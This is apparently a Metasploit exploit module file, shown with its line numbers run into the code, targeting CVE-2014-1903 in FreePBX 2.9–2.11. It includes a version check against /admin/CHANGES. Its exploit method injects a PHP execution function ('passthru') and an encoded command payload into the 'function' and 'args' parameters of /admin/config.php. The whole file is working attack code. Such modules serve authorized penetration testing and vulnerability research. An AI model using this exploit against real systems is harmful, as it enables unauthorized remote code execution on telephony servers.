Path: blob/master/modules/exploits/unix/webapp/freepbx_config_exec.rb
19534 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient910def initialize(info = {})11super(12update_info(13info,14'Name' => "FreePBX config.php Remote Code Execution",15'Description' => %q{16This module exploits a vulnerability found in FreePBX version 2.9, 2.10, and 2.11.17It's possible to inject arbitrary PHP functions and commands in the "/admin/config.php"18parameters "function" and "args".19},20'License' => MSF_LICENSE,21'Author' => [22'i-Hmx', # Vulnerability discovery23'0x00string', # PoC24'xistence <xistence[at]0x90.nl>' # Metasploit module25],26'References' => [27['CVE', '2014-1903'],28['OSVDB', '103240'],29['EDB', '32214'],30['URL', 'http://issues.freepbx.org/browse/FREEPBX-7123']31],32'Platform' => 'unix',33'Arch' => ARCH_CMD,34'Targets' => [35['FreePBX', {}]36],37'Privileged' => false,38'DisclosureDate' => '2014-03-21',39'DefaultTarget' => 0,40'Notes' => {41'Reliability' => UNKNOWN_RELIABILITY,42'Stability' => UNKNOWN_STABILITY,43'SideEffects' => UNKNOWN_SIDE_EFFECTS44}45)46)4748register_options(49[50OptString.new('TARGETURI', [true, 'The base path to the FreePBX installation', '/'])51]52)5354register_advanced_options(55[56OptString.new('PHPFUNC', [true, 'The PHP execution function to use', 'passthru'])57]58)59end6061def check62vprint_status("Trying to detect installed version")6364res = send_request_cgi({65'method' => 'GET',66'uri' => normalize_uri(target_uri.path, "admin", "CHANGES")67})6869if res and res.code == 200 and res.body =~ /^(.*)$/70version = $171else72return Exploit::CheckCode::Unknown73end7475vprint_status("Version #{version} detected")7677if version =~ /2\.(9|10|11)\.0/78return Exploit::CheckCode::Appears79else80return Exploit::CheckCode::Safe81end82end8384def exploit85rand_data = rand_text_alpha_lower(rand(10) + 5)8687print_status("Sending payload")88res = send_request_cgi({89'method' => 'GET',90'uri' => normalize_uri(target_uri.path, "admin", "config.php"),91'vars_get' => {92"display" => rand_data,93"handler" => "api",94"function" => datastore['PHPFUNC'],95"args" => payload.encoded96}97})9899# If we don't get a 200 when we request our malicious payload, we suspect100# we don't have a shell, either.101if res and res.code != 200102print_error("Unexpected response, exploit probably failed!")103end104end105end106107108